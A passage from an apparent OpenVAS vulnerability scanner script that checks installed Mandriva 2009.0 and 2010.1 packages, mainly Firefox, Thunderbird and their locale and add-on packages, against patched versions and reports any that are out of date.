security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"libgjs0\", rpm:\"libgjs0~0.6~4.13mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"libgjs-devel\", rpm:\"libgjs-devel~0.6~4.13mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"libxulrunner1.9.2.20\", rpm:\"libxulrunner1.9.2.20~1.9.2.20~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"libxulrunner-devel\", rpm:\"libxulrunner-devel~1.9.2.20~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird\", rpm:\"mozilla-thunderbird~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-af\", rpm:\"mozilla-thunderbird-af~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-ar\", rpm:\"mozilla-thunderbird-ar~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-be\", rpm:\"mozilla-thunderbird-be~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-beagle\", rpm:\"mozilla-thunderbird-beagle~0.3.9~40.17mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-bg\", rpm:\"mozilla-thunderbird-bg~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-bn_BD\", rpm:\"mozilla-thunderbird-bn_BD~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-ca\", rpm:\"mozilla-thunderbird-ca~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-cs\", rpm:\"mozilla-thunderbird-cs~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-da\", rpm:\"mozilla-thunderbird-da~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-de\", rpm:\"mozilla-thunderbird-de~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-el\", rpm:\"mozilla-thunderbird-el~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-en_GB\", rpm:\"mozilla-thunderbird-en_GB~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail\", rpm:\"mozilla-thunderbird-enigmail~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-ar\", rpm:\"mozilla-thunderbird-enigmail-ar~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-ca\", rpm:\"mozilla-thunderbird-enigmail-ca~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-cs\", rpm:\"mozilla-thunderbird-enigmail-cs~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-de\", rpm:\"mozilla-thunderbird-enigmail-de~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-el\", rpm:\"mozilla-thunderbird-enigmail-el~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-es\", rpm:\"mozilla-thunderbird-enigmail-es~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-fi\", rpm:\"mozilla-thunderbird-enigmail-fi~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-fr\", rpm:\"mozilla-thunderbird-enigmail-fr~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-hu\", rpm:\"mozilla-thunderbird-enigmail-hu~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-it\", rpm:\"mozilla-thunderbird-enigmail-it~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-ja\", rpm:\"mozilla-thunderbird-enigmail-ja~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-ko\", rpm:\"mozilla-thunderbird-enigmail-ko~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-nb\", rpm:\"mozilla-thunderbird-enigmail-nb~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-nl\", rpm:\"mozilla-thunderbird-enigmail-nl~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-pl\", rpm:\"mozilla-thunderbird-enigmail-pl~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-pt\", rpm:\"mozilla-thunderbird-enigmail-pt~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-pt_BR\", rpm:\"mozilla-thunderbird-enigmail-pt_BR~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-ru\", rpm:\"mozilla-thunderbird-enigmail-ru~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-sl\", rpm:\"mozilla-thunderbird-enigmail-sl~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-sv\", rpm:\"mozilla-thunderbird-enigmail-sv~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-tr\", rpm:\"mozilla-thunderbird-enigmail-tr~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-vi\", rpm:\"mozilla-thunderbird-enigmail-vi~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-zh_CN\", rpm:\"mozilla-thunderbird-enigmail-zh_CN~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-zh_TW\", rpm:\"mozilla-thunderbird-enigmail-zh_TW~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-es_AR\", rpm:\"mozilla-thunderbird-es_AR~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-es_ES\", rpm:\"mozilla-thunderbird-es_ES~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-et\", rpm:\"mozilla-thunderbird-et~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-et_EE\", rpm:\"mozilla-thunderbird-et_EE~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-eu\", rpm:\"mozilla-thunderbird-eu~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-fi\", rpm:\"mozilla-thunderbird-fi~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-fr\", rpm:\"mozilla-thunderbird-fr~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-fy\", rpm:\"mozilla-thunderbird-fy~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-ga\", rpm:\"mozilla-thunderbird-ga~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-gd\", rpm:\"mozilla-thunderbird-gd~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-gl\", rpm:\"mozilla-thunderbird-gl~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-he\", rpm:\"mozilla-thunderbird-he~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-hu\", rpm:\"mozilla-thunderbird-hu~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-id\", rpm:\"mozilla-thunderbird-id~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-is\", rpm:\"mozilla-thunderbird-is~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-it\", rpm:\"mozilla-thunderbird-it~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-ja\", rpm:\"mozilla-thunderbird-ja~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-ka\", rpm:\"mozilla-thunderbird-ka~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-ko\", rpm:\"mozilla-thunderbird-ko~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-lightning\", rpm:\"mozilla-thunderbird-lightning~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-lt\", rpm:\"mozilla-thunderbird-lt~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-nb_NO\", rpm:\"mozilla-thunderbird-nb_NO~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-nl\", rpm:\"mozilla-thunderbird-nl~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-nn_NO\", rpm:\"mozilla-thunderbird-nn_NO~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-pa_IN\", rpm:\"mozilla-thunderbird-pa_IN~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-pl\", rpm:\"mozilla-thunderbird-pl~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-pt_BR\", rpm:\"mozilla-thunderbird-pt_BR~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-pt_PT\", rpm:\"mozilla-thunderbird-pt_PT~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-ro\", rpm:\"mozilla-thunderbird-ro~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-ru\", rpm:\"mozilla-thunderbird-ru~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-si\", rpm:\"mozilla-thunderbird-si~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-sk\", rpm:\"mozilla-thunderbird-sk~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-sl\", rpm:\"mozilla-thunderbird-sl~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-sq\", rpm:\"mozilla-thunderbird-sq~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-sr\", rpm:\"mozilla-thunderbird-sr~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-sv_SE\", rpm:\"mozilla-thunderbird-sv_SE~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-tr\", rpm:\"mozilla-thunderbird-tr~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-uk\", rpm:\"mozilla-thunderbird-uk~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-vi\", rpm:\"mozilla-thunderbird-vi~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-zh_CN\", rpm:\"mozilla-thunderbird-zh_CN~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-zh_TW\", rpm:\"mozilla-thunderbird-zh_TW~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"nsinstall\", rpm:\"nsinstall~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"xulrunner\", rpm:\"xulrunner~1.9.2.20~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"yelp\", rpm:\"yelp~2.30.1~4.13mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-l10n\", rpm:\"firefox-l10n~3.6.20~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-l10n\", rpm:\"mozilla-thunderbird-l10n~3.1.12~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"lib64gjs0\", rpm:\"lib64gjs0~0.6~4.13mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"lib64gjs-devel\", rpm:\"lib64gjs-devel~0.6~4.13mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"lib64xulrunner1.9.2.20\", rpm:\"lib64xulrunner1.9.2.20~1.9.2.20~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"lib64xulrunner-devel\", rpm:\"lib64xulrunner-devel~1.9.2.20~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n\n\nif(release == \"MNDK_2009.0\")\n{\n\n if ((res = isrpmvuln(pkg:\"beagle\", rpm:\"beagle~0.3.8~13.39mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"beagle-crawl-system\", rpm:\"beagle-crawl-system~0.3.8~13.39mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"beagle-doc\", rpm:\"beagle-doc~0.3.8~13.39mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"beagle-epiphany\", rpm:\"beagle-epiphany~0.3.8~13.39mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"beagle-evolution\", rpm:\"beagle-evolution~0.3.8~13.39mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"beagle-gui\", rpm:\"beagle-gui~0.3.8~13.39mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"beagle-gui-qt\", rpm:\"beagle-gui-qt~0.3.8~13.39mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"beagle-libs\", rpm:\"beagle-libs~0.3.8~13.39mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"devhelp\", rpm:\"devhelp~0.21~3.27mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"devhelp-plugins\", rpm:\"devhelp-plugins~0.21~3.27mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"epiphany\", rpm:\"epiphany~2.24.3~0.16mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"epiphany-devel\", rpm:\"epiphany-devel~2.24.3~0.16mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox\", rpm:\"firefox~3.6.20~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-af\", rpm:\"firefox-af~3.6.20~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ar\", rpm:\"firefox-ar~3.6.20~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-be\", rpm:\"firefox-be~3.6.20~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-bg\", rpm:\"firefox-bg~3.6.20~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-bn\", rpm:\"firefox-bn~3.6.20~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ca\", rpm:\"firefox-ca~3.6.20~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-cs\", rpm:\"firefox-cs~3.6.20~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-cy\", rpm:\"firefox-cy~3.6.20~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-da\", rpm:\"firefox-da~3.6.20~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-de\", rpm:\"firefox-de~3.6.20~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-devel\", rpm:\"firefox-devel~3.6.20~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-el\", rpm:\"firefox-el~3.6.20~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-en_GB\", rpm:\"firefox-en_GB~3.6.20~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-eo\", rpm:\"firefox-eo~3.6.20~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-es_AR\", rpm:\"firefox-es_AR~3.6.20~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-es_ES\", rpm:\"firefox-es_ES~3.6.20~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-et\", rpm:\"firefox-et~3.6.20~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-eu\", rpm:\"firefox-eu~3.6.20~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ext-beagle\", rpm:\"firefox-ext-beagle~0.3.8~13.39mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ext-blogrovr\", rpm:\"firefox-ext-blogrovr~1.1.804~0.15mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ext-mozvoikko\", 